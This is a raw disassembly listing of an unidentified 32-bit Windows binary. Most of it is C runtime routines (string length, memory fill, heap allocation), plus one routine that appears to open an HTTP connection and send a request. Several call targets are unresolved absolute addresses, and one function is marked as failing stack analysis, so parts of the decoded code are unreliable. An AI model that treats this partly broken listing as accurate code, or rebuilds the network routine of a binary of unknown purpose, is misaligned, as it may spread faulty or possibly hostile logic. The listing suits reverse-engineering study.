		push	eax
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_30]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41A98C
		push	edx
		push	eax
		push	offset dword_43A6F0
		push	200h
		push	[ebp+arg_0]
		call	sub_41B980
		mov	eax, [ebp+arg_0]
		add	esp, 50h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41AA42	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ACF6	proc near		; CODE XREF: sub_401ACD+279Cp
					; sub_401ACD+72F5p

var_8C		= byte ptr -8Ch
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8Ch
		push	esi
		mov	esi, 80h
		push	esi
		lea	eax, [ebp+var_8C]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		cmp	dword_4CB70C, 0
		jnz	short loc_41AD62
		push	0
		lea	eax, [ebp+var_8C]
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	dword_4CB4E8
		test	eax, eax
		jnz	short loc_41AD4B
		lea	eax, [ebp+var_8C]
		push	offset dword_43A84C
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_41AD4B:				; CODE XREF: sub_41ACF6+40j
		test	[ebp+var_C], 1
		jz	short loc_41AD58
		push	offset dword_43A844
		jmp	short loc_41AD5D
; ---------------------------------------------------------------------------


loc_41AD58:				; CODE XREF: sub_41ACF6+59j
		push	offset off_43A840


loc_41AD5D:				; CODE XREF: sub_41ACF6+60j
		lea	eax, [ebp+var_8]
		jmp	short loc_41AD7A
; ---------------------------------------------------------------------------


loc_41AD62:				; CODE XREF: sub_41ACF6+28j
		mov	esi, offset off_43A83C
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_8C]
		pop	ecx
		push	esi


loc_41AD7A:				; CODE XREF: sub_41ACF6+6Aj
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset dword_43A7F8
		push	200h
		push	[ebp+arg_0]
		call	sub_41B980
		mov	eax, [ebp+arg_0]
		add	esp, 1Ch
		pop	esi
		leave
		retn
sub_41ACF6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ADB5	proc near		; DATA XREF: sub_401ACD+7714o

var_65C		= byte ptr -65Ch
var_55C		= byte ptr -55Ch
var_35C		= dword	ptr -35Ch
var_358		= byte ptr -358h
var_2D8		= byte ptr -2D8h
var_258		= byte ptr -258h
var_1D8		= dword	ptr -1D8h
var_1D4		= dword	ptr -1D4h
var_1D0		= dword	ptr -1D0h
var_1C8		= byte ptr -1C8h
var_148		= byte ptr -148h
var_C8		= byte ptr -0C8h
var_48		= dword	ptr -48h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 65Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	65h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_35C]
		rep movsd
		push	1
		mov	edi, 80h
		pop	esi
		xor	ebx, ebx
		mov	[eax+190h], esi
		push	edi
		lea	eax, [ebp+var_148]
		push	ebx
		push	eax
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], offset dword_43A92C
		call	sub_41B590
		push	edi
		lea	eax, [ebp+var_1C8]
		push	ebx
		push	eax
		call	sub_41B590
		push	edi
		lea	eax, [ebp+var_C8]
		push	ebx
		push	eax
		call	sub_41B590
		push	100h
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		call	sub_41B590
		push	3Ch
		lea	eax, [ebp+var_48]
		pop	edi
		push	edi
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 3Ch
		lea	eax, [ebp+var_48]
		mov	[ebp+var_48], edi
		mov	[ebp+var_34], esi
		push	eax
		lea	eax, [ebp+var_358]
		push	ebx
		push	eax
		mov	[ebp+var_28], esi
		mov	[ebp+var_20], esi
		mov	[ebp+var_18], esi
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_358]
		push	eax
		call	dword_4CB520
		test	eax, eax
		jz	loc_41AF4F
		cmp	[ebp+var_34], ebx
		jbe	short loc_41AE8C
		push	[ebp+var_34]
		lea	eax, [ebp+var_148]
		push	[ebp+var_38]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch


loc_41AE8C:				; CODE XREF: sub_41ADB5+C0j
		cmp	[ebp+var_28], ebx
		movzx	esi, [ebp+var_30]
		jbe	short loc_41AEAA
		push	[ebp+var_28]
		lea	eax, [ebp+var_1C8]
		push	[ebp+var_2C]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch


loc_41AEAA:				; CODE XREF: sub_41ADB5+DEj
		cmp	[ebp+var_20], ebx
		jbe	short loc_41AEC4
		push	[ebp+var_20]
		lea	eax, [ebp+var_C8]
		push	[ebp+var_24]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch


loc_41AEC4:				; CODE XREF: sub_41ADB5+F8j
		cmp	[ebp+var_18], ebx
		jbe	short loc_41AEDE
		push	[ebp+var_18]
		lea	eax, [ebp+var_65C]
		push	[ebp+var_1C]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch


loc_41AEDE:				; CODE XREF: sub_41ADB5+112j
		push	ebx
		push	ebx
		lea	eax, [ebp+var_C8]
		push	3
		push	eax
		lea	eax, [ebp+var_1C8]
		push	eax
		lea	eax, [ebp+var_148]
		push	esi
		push	eax
		push	dword_4CB5D4
		call	dword_4CB5F8
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_41AF67
		push	ebx
		lea	eax, [ebp+var_8]
		push	200h
		push	eax
		lea	eax, [ebp+var_2D8]
		push	eax
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		push	ebx
		push	esi
		call	dword_4CB5EC
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jz	short loc_41AF6E
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	eax
		call	dword_4CB598
		test	eax, eax
		jz	short loc_41AF48
		push	offset dword_43A910
		jmp	short loc_41AF73
; ---------------------------------------------------------------------------


loc_41AF48:				; CODE XREF: sub_41ADB5+18Aj
		push	offset unk_43A8D4
		jmp	short loc_41AF73
; ---------------------------------------------------------------------------


loc_41AF4F:				; CODE XREF: sub_41ADB5+B7j
		lea	eax, [ebp+var_55C]
		push	offset dword_43A8B8
		push	eax
		call	sub_41B886
		mov	esi, [ebp+var_C]
		pop	ecx
		pop	ecx
		jmp	short loc_41AF81
; ---------------------------------------------------------------------------


loc_41AF67:				; CODE XREF: sub_41ADB5+153j
		push	offset unk_43A88C
		jmp	short loc_41AF73
; ---------------------------------------------------------------------------


loc_41AF6E:				; CODE XREF: sub_41ADB5+17Bj
		push	offset unk_43A85C


loc_41AF73:				; CODE XREF: sub_41ADB5+191j
					; sub_41ADB5+198j ...
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_41AF81:				; CODE XREF: sub_41ADB5+1B0j
		cmp	[ebp+var_1D4], ebx
		jnz	short loc_41AFAC
		push	ebx
		lea	eax, [ebp+var_55C]
		push	[ebp+var_1D0]
		push	eax
		lea	eax, [ebp+var_258]
		push	eax
		push	[ebp+var_35C]
		call	sub_409A72
		add	esp, 14h


loc_41AFAC:				; CODE XREF: sub_41ADB5+1D2j
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_4151AC
		pop	ecx
		push	esi
		call	dword_4CB658
		push	[ebp+var_4]
		call	dword_4CB658
		push	[ebp+var_1D8]
		call	sub_40B412
		pop	ecx
		push	ebx
		nop
		call	near ptr 288097Dh
		pop	edi
		pop	esi
		pop	ebx
		int	3		; Trap to Debugger
sub_41ADB5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41AFE0	proc near		; CODE XREF: sub_401000+34p
					; ___:0040136Ep ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	ecx, 3
		jz	short loc_41B000


loc_41AFEC:				; CODE XREF: sub_41AFE0+19j
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_41B033
		test	ecx, 3
		jnz	short loc_41AFEC
		add	eax, 0


loc_41B000:				; CODE XREF: sub_41AFE0+Aj
					; sub_41AFE0+36j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41B000
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_41B051
		test	ah, ah
		jz	short loc_41B047
		test	eax, 0FF0000h
		jz	short loc_41B03D
		test	eax, 0FF000000h
		jz	short loc_41B033
		jmp	short loc_41B000
; ---------------------------------------------------------------------------


loc_41B033:				; CODE XREF: sub_41AFE0+11j
					; sub_41AFE0+4Fj
		lea	eax, [ecx-1]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_41B03D:				; CODE XREF: sub_41AFE0+48j
		lea	eax, [ecx-2]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_41B047:				; CODE XREF: sub_41AFE0+41j
		lea	eax, [ecx-3]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_41B051:				; CODE XREF: sub_41AFE0+3Dj
		lea	eax, [ecx-4]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
sub_41AFE0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B05B	proc near		; CODE XREF: sub_4010AB+64p
					; sub_401ACD+58DAp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		or	edi, 0FFFFFFFFh
		mov	eax, [esi+0Ch]
		test	al, 40h
		jz	short loc_41B070
		or	eax, 0FFFFFFFFh
		jmp	short loc_41B0AA
; ---------------------------------------------------------------------------


loc_41B070:				; CODE XREF: sub_41B05B+Ej
		test	al, 83h
		jz	short loc_41B0A8
		push	esi
		call	sub_41DB8B
		push	esi
		mov	edi, eax
		call	sub_41DB25
		push	dword ptr [esi+10h]
		call	sub_41DA72
		add	esp, 0Ch
		test	eax, eax
		jge	short loc_41B096
		or	edi, 0FFFFFFFFh
		jmp	short loc_41B0A8
; ---------------------------------------------------------------------------


loc_41B096:				; CODE XREF: sub_41B05B+34j
		mov	eax, [esi+1Ch]
		test	eax, eax
		jz	short loc_41B0A8
		push	eax
		call	sub_41B0B1
		and	dword ptr [esi+1Ch], 0
		pop	ecx


loc_41B0A8:				; CODE XREF: sub_41B05B+17j
					; sub_41B05B+39j ...
		mov	eax, edi


loc_41B0AA:				; CODE XREF: sub_41B05B+13j
		and	dword ptr [esi+0Ch], 0
		pop	edi
		pop	esi
		retn
sub_41B05B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B0B1	proc near		; CODE XREF: sub_4010AB+5Ep
					; sub_40AB31+B1p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		mov	esi, [ebp+arg_0]
		test	esi, esi
		jz	short loc_41B117
		mov	eax, dword_4DCFC8
		cmp	eax, 3
		jnz	short loc_41B0DD
		push	esi
		call	sub_41DE77
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_41B109
		push	eax
		call	sub_41DEA2
		pop	ecx
		pop	ecx
		jmp	short loc_41B117
; ---------------------------------------------------------------------------


loc_41B0DD:				; CODE XREF: sub_41B0B1+14j
		cmp	eax, 2
		jnz	short loc_41B108
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	esi
		call	sub_41EBD2
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41B108
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_4]
		call	sub_41EC29
		add	esp, 0Ch
		jmp	short loc_41B117
; ---------------------------------------------------------------------------


loc_41B108:				; CODE XREF: sub_41B0B1+2Fj
					; sub_41B0B1+44j
		push	esi


loc_41B109:				; CODE XREF: sub_41B0B1+20j
		push	0
		push	dword_4DCFC4
		nop
		call	near ptr 2950000h


loc_41B117:				; CODE XREF: sub_41B0B1+Aj
					; sub_41B0B1+2Aj ...
		pop	esi
		leave
		retn
sub_41B0B1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B11A	proc near		; CODE XREF: sub_4010AB+45p
					; ___:0040F089p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	ecx, edi
		test	edi, edi
		mov	[ebp+var_4], edi
		mov	[ebp+arg_0], ecx
		jnz	short loc_41B13E
		xor	eax, eax
		jmp	loc_41B1E7
; ---------------------------------------------------------------------------


loc_41B13E:				; CODE XREF: sub_41B11A+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41B151
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_41B15D
; ---------------------------------------------------------------------------


loc_41B151:				; CODE XREF: sub_41B11A+2Dj
		mov	[ebp+arg_C], 1000h
		jmp	short loc_41B15D
; ---------------------------------------------------------------------------


loc_41B15A:				; CODE XREF: sub_41B11A+C4j
		mov	ecx, [ebp+arg_0]


loc_41B15D:				; CODE XREF: sub_41B11A+35j
					; sub_41B11A+3Ej
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41B18F
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_41B18F
		cmp	ecx, eax
		mov	edi, ecx
		jb	short loc_41B174
		mov	edi, eax


loc_41B174:				; CODE XREF: sub_41B11A+56j
		push	edi
		push	dword ptr [esi]
		push	ebx
		call	sub_41C310
		sub	[ebp+arg_0], edi
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		add	ebx, edi
		mov	edi, [ebp+var_4]
		jmp	short loc_41B1DA
; ---------------------------------------------------------------------------


loc_41B18F:				; CODE XREF: sub_41B11A+49j
					; sub_41B11A+50j
		cmp	ecx, [ebp+arg_C]
		jb	short loc_41B1C2
		cmp	[ebp+arg_C], 0
		mov	eax, ecx
		jz	short loc_41B1A5
		xor	edx, edx
		div	[ebp+arg_C]
		mov	eax, ecx
		sub	eax, edx


loc_41B1A5:				; CODE XREF: sub_41B11A+80j
		push	eax
		push	ebx
		push	dword ptr [esi+10h]
		call	sub_41F11C
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41B1EC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41B1F2
		sub	[ebp+arg_0], eax
		add	ebx, eax
		jmp	short loc_41B1DA
; ---------------------------------------------------------------------------


loc_41B1C2:				; CODE XREF: sub_41B11A+78j
		push	esi
		call	sub_41F043
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41B1F6
		mov	[ebx], al
		mov	eax, [esi+18h]
		inc	ebx
		dec	[ebp+arg_0]
		mov	[ebp+arg_C], eax


loc_41B1DA:				; CODE XREF: sub_41B11A+73j
					; sub_41B11A+A6j
		cmp	[ebp+arg_0], 0
		jnz	loc_41B15A
		mov	eax, [ebp+arg_8]


loc_41B1E7:				; CODE XREF: sub_41B11A+1Fj
					; sub_41B11A+E6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41B1EC:				; CODE XREF: sub_41B11A+9Aj
		or	dword ptr [esi+0Ch], 10h
		jmp	short loc_41B1F6
; ---------------------------------------------------------------------------


loc_41B1F2:				; CODE XREF: sub_41B11A+9Fj
		or	dword ptr [esi+0Ch], 20h


loc_41B1F6:				; CODE XREF: sub_41B11A+B2j
					; sub_41B11A+D6j
		mov	eax, edi
		xor	edx, edx
		sub	eax, [ebp+arg_0]
		div	[ebp+arg_4]
		jmp	short loc_41B1E7
sub_41B11A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B202	proc near		; CODE XREF: sub_4010AB+2Ep
					; sub_41CFD3+35p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_41B21D
		push	[ebp+arg_4]
		call	sub_41B4D5
		pop	ecx
		jmp	loc_41B49D
; ---------------------------------------------------------------------------


loc_41B21D:				; CODE XREF: sub_41B202+Bj
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jnz	short loc_41B232
		push	[ebp+arg_0]
		call	sub_41B0B1
		pop	ecx
		jmp	loc_41B49B
; ---------------------------------------------------------------------------


loc_41B232:				; CODE XREF: sub_41B202+20j
		mov	eax, dword_4DCFC8
		cmp	eax, 3
		jnz	loc_41B342


loc_41B240:				; CODE XREF: sub_41B202+12Ej
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_41B31E
		push	[ebp+arg_0]
		call	sub_41DE77
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	loc_41B2F9
		cmp	esi, dword_4DCFC0
		ja	short loc_41B2B2
		mov	edi, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_41E680
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41B2AE
		push	esi
		call	sub_41E1CB
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_41B2B2
		mov	ebx, [ebp+arg_0]
		mov	eax, [ebx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_41B292
		mov	eax, esi


loc_41B292:				; CODE XREF: sub_41B202+8Cj
		push	eax
		push	ebx
		push	edi
		call	sub_41C310
		push	ebx
		call	sub_41DE77
		push	[ebp+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_41DEA2
		add	esp, 18h


loc_41B2AE:				; CODE XREF: sub_41B202+74j
		test	edi, edi
		jnz	short loc_41B2F5


loc_41B2B2:				; CODE XREF: sub_41B202+62j
					; sub_41B202+81j
		test	esi, esi
		jnz	short loc_41B2B9
		push	1
		pop	esi


loc_41B2B9:				; CODE XREF: sub_41B202+B2j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	0
		push	dword_4DCFC4
		call	near ptr 2960000h
		nop
		mov	edi, eax
		test	edi, edi
		jz	short loc_41B2F5
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_41B2E1
		mov	eax, esi


loc_41B2E1:				; CODE XREF: sub_41B202+DBj
		push	eax
		push	ecx
		push	edi
		call	sub_41C310
		push	[ebp+arg_0]
		push	ebx
		call	sub_41DEA2
		add	esp, 14h


loc_41B2F5:				; CODE XREF: sub_41B202+AEj
					; sub_41B202+D0j
		test	ebx, ebx
		jnz	short loc_41B31A


loc_41B2F9:				; CODE XREF: sub_41B202+56j
		test	esi, esi
		jnz	short loc_41B300
		push	1
		pop	esi


loc_41B300:				; CODE XREF: sub_41B202+F9j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4DCFC4
		call	near ptr 2A00000h
		nop
		mov	edi, eax


loc_41B31A:				; CODE XREF: sub_41B202+F5j
		test	edi, edi
		jnz	short loc_41B33B


loc_41B31E:				; CODE XREF: sub_41B202+43j
		cmp	dword_4DB9AC, 0
		jz	short loc_41B33B
		push	esi
		call	sub_41F312
		test	eax, eax
		pop	ecx
		jnz	loc_41B240
		jmp	loc_41B49B
; ---------------------------------------------------------------------------


loc_41B33B:				; CODE XREF: sub_41B202+11Aj
					; sub_41B202+123j ...
		mov	eax, edi
		jmp	loc_41B49D
; ---------------------------------------------------------------------------


loc_41B342:				; CODE XREF: sub_41B202+38j
		cmp	eax, 2
		jnz	loc_41B45D
		cmp	esi, 0FFFFFFE0h
		ja	short loc_41B35F
		test	esi, esi
		jbe	short loc_41B35C
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		jmp	short loc_41B35F
; ---------------------------------------------------------------------------


loc_41B35C:				; CODE XREF: sub_41B202+150j
		push	10h
		pop	esi


loc_41B35F:				; CODE XREF: sub_41B202+14Cj
					; sub_41B202+158j ...
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_41B43F
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		call	sub_41EBD2
		mov	ebx, eax
		add	esp, 0Ch
		test	ebx, ebx
		jz	loc_41B423
		cmp	esi, dword_43C9A4
		jnb	short loc_41B3E7
		mov	edi, esi
		shr	edi, 4
		push	edi
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41EF9A
		add	esp, 10h
		test	eax, eax
		jz	short loc_41B3AD
		mov	edi, [ebp+arg_0]
		jmp	short loc_41B3DF
; ---------------------------------------------------------------------------


loc_41B3AD:				; CODE XREF: sub_41B202+1A4j
		push	edi
		call	sub_41EC6E
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_41B3E7
		movzx	eax, byte ptr [ebx]
		shl	eax, 4
		cmp	eax, esi
		jb	short loc_41B3C6
		mov	eax, esi


loc_41B3C6:				; CODE XREF: sub_41B202+1C0j
		push	eax
		push	[ebp+arg_0]
		push	edi
		call	sub_41C310
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41EC29
		add	esp, 18h


loc_41B3DF:				; CODE XREF: sub_41B202+1A9j
		test	edi, edi
		jnz	loc_41B33B


loc_41B3E7:				; CODE XREF: sub_41B202+18Bj
					; sub_41B202+1B6j
		push	esi
		push	0
		push	dword_4DCFC4
		nop
		call	near ptr 2960000h
		mov	edi, eax
		test	edi, edi
		jz	short loc_41B43F
		movzx	eax, byte ptr [ebx]
		shl	eax, 4
		cmp	eax, esi
		jb	short loc_41B408
		mov	eax, esi


loc_41B408:				; CODE XREF: sub_41B202+202j
		push	eax
		push	[ebp+arg_0]
		push	edi
		call	sub_41C310
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41EC29
		add	esp, 18h
		jmp	short loc_41B437
; ---------------------------------------------------------------------------


loc_41B423:				; CODE XREF: sub_41B202+17Fj
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4DCFC4
		nop
		call	near ptr 2A00000h
		mov	edi, eax


loc_41B437:				; CODE XREF: sub_41B202+21Fj
		test	edi, edi
		jnz	loc_41B33B


loc_41B43F:				; CODE XREF: sub_41B202+162j
					; sub_41B202+1F8j
		cmp	dword_4DB9AC, 0
		jz	loc_41B33B
		push	esi
		call	sub_41F312
		test	eax, eax
		pop	ecx
		jnz	loc_41B35F
		jmp	short loc_41B49B
; ---------------------------------------------------------------------------


loc_41B45D:				; CODE XREF: sub_41B202+143j
					; sub_41B202+297j
		xor	eax, eax
		cmp	esi, 0FFFFFFE0h
		ja	short loc_41B487
		test	esi, esi
		jnz	short loc_41B46B
		push	1
		pop	esi


loc_41B46B:				; CODE XREF: sub_41B202+264j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4DCFC4
		call	near ptr 2A00000h
		nop
		test	eax, eax
		jnz	short loc_41B49D


loc_41B487:				; CODE XREF: sub_41B202+260j
		cmp	dword_4DB9AC, 0
		jz	short loc_41B49D
		push	esi
		call	sub_41F312
		test	eax, eax
		pop	ecx
		jnz	short loc_41B45D


loc_41B49B:				; CODE XREF: sub_41B202+2Bj
					; sub_41B202+134j ...
		xor	eax, eax


loc_41B49D:				; CODE XREF: sub_41B202+16j
					; sub_41B202+13Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B202	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B4A2	proc near		; CODE XREF: sub_41B4C2+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		call	sub_41F49D
		test	eax, eax
		jnz	short loc_41B4AC
		retn
; ---------------------------------------------------------------------------


loc_41B4AC:				; CODE XREF: sub_41B4A2+7j
		push	eax
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41F32D
		add	esp, 10h
		retn
sub_41B4A2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B4C2	proc near		; CODE XREF: sub_4010AB+18p
					; sub_401ACD+58AEp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	40h
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_41B4A2
		add	esp, 0Ch
		retn
sub_41B4C2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B4D5	proc near		; CODE XREF: sub_4010AB+6p
					; sub_40AB31+63p ...

arg_0		= dword	ptr  4

		push	dword_4DB9AC
		push	[esp+4+arg_0]
		call	sub_41B4E7
		pop	ecx
		pop	ecx
		retn
sub_41B4D5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B4E7	proc near		; CODE XREF: sub_41B4D5+Ap
					; sub_41CFC5+6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFE0h
		ja	short loc_41B510


loc_41B4EE:				; CODE XREF: sub_41B4E7+27j
		push	[esp+arg_0]
		call	sub_41B513
		test	eax, eax
		pop	ecx
		jnz	short locret_41B512
		cmp	[esp+arg_4], eax
		jz	short locret_41B512
		push	[esp+arg_0]
		call	sub_41F312
		test	eax, eax
		pop	ecx
		jnz	short loc_41B4EE


loc_41B510:				; CODE XREF: sub_41B4E7+5j
		xor	eax, eax

locret_41B512:				; CODE XREF: sub_41B4E7+13j
					; sub_41B4E7+19j
		retn
sub_41B4E7	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B513	proc near		; CODE XREF: sub_41B4E7+Bp

arg_0		= dword	ptr  4

		mov	eax, dword_4DCFC8
		push	esi
		mov	esi, [esp+4+arg_0]
		cmp	eax, 3
		jnz	short loc_41B537
		cmp	esi, dword_4DCFC0
		ja	short loc_41B569
		push	esi
		call	sub_41E1CB
		test	eax, eax
		pop	ecx
		jz	short loc_41B569
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41B537:				; CODE XREF: sub_41B513+Dj
		cmp	eax, 2
		jnz	short loc_41B569
		mov	eax, [esp+4+arg_0]
		test	eax, eax
		jz	short loc_41B54C
		lea	esi, [eax+0Fh]
		and	esi, 0FFFFFFF0h
		jmp	short loc_41B54F
; ---------------------------------------------------------------------------


loc_41B54C:				; CODE XREF: sub_41B513+2Fj
		push	10h
		pop	esi


loc_41B54F:				; CODE XREF: sub_41B513+37j
		cmp	esi, dword_43C9A4
		ja	short loc_41B576
		mov	eax, esi
		shr	eax, 4
		push	eax
		call	sub_41EC6E
		test	eax, eax
		pop	ecx
		jnz	short loc_41B585
		jmp	short loc_41B576
; ---------------------------------------------------------------------------


loc_41B569:				; CODE XREF: sub_41B513+15j
					; sub_41B513+20j ...
		test	esi, esi
		jnz	short loc_41B570
		push	1
		pop	esi


loc_41B570:				; CODE XREF: sub_41B513+58j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h


loc_41B576:				; CODE XREF: sub_41B513+42j
					; sub_41B513+54j
		push	esi
		push	0
		push	dword_4DCFC4
		call	near ptr 2960000h
		nop


loc_41B585:				; CODE XREF: sub_41B513+52j
		pop	esi
		retn
sub_41B513	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41B590	proc near		; CODE XREF: sub_40111D+3Cp
					; sub_40111D+4Ap ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_8]
		mov	ecx, [esp+arg_0]
		test	edx, edx
		jz	short loc_41B5E3
		xor	eax, eax
		mov	al, [esp+arg_4]
		push	edi
		mov	edi, ecx
		cmp	edx, 4
		jb	short loc_41B5D7
		neg	ecx
		and	ecx, 3
		jz	short loc_41B5B9
		sub	edx, ecx


loc_41B5B3:				; CODE XREF: sub_41B590+27j
		mov	[edi], al
		inc	edi
		dec	ecx
		jnz	short loc_41B5B3


loc_41B5B9:				; CODE XREF: sub_41B590+1Fj
		mov	ecx, eax
		shl	eax, 8
		add	eax, ecx
		mov	ecx, eax
		shl	eax, 10h
		add	eax, ecx
		mov	ecx, edx
		and	edx, 3
		shr	ecx, 2
		jz	short loc_41B5D7
		rep stosd
		test	edx, edx
		jz	short loc_41B5DD


loc_41B5D7:				; CODE XREF: sub_41B590+18j
					; sub_41B590+3Fj ...
		mov	[edi], al
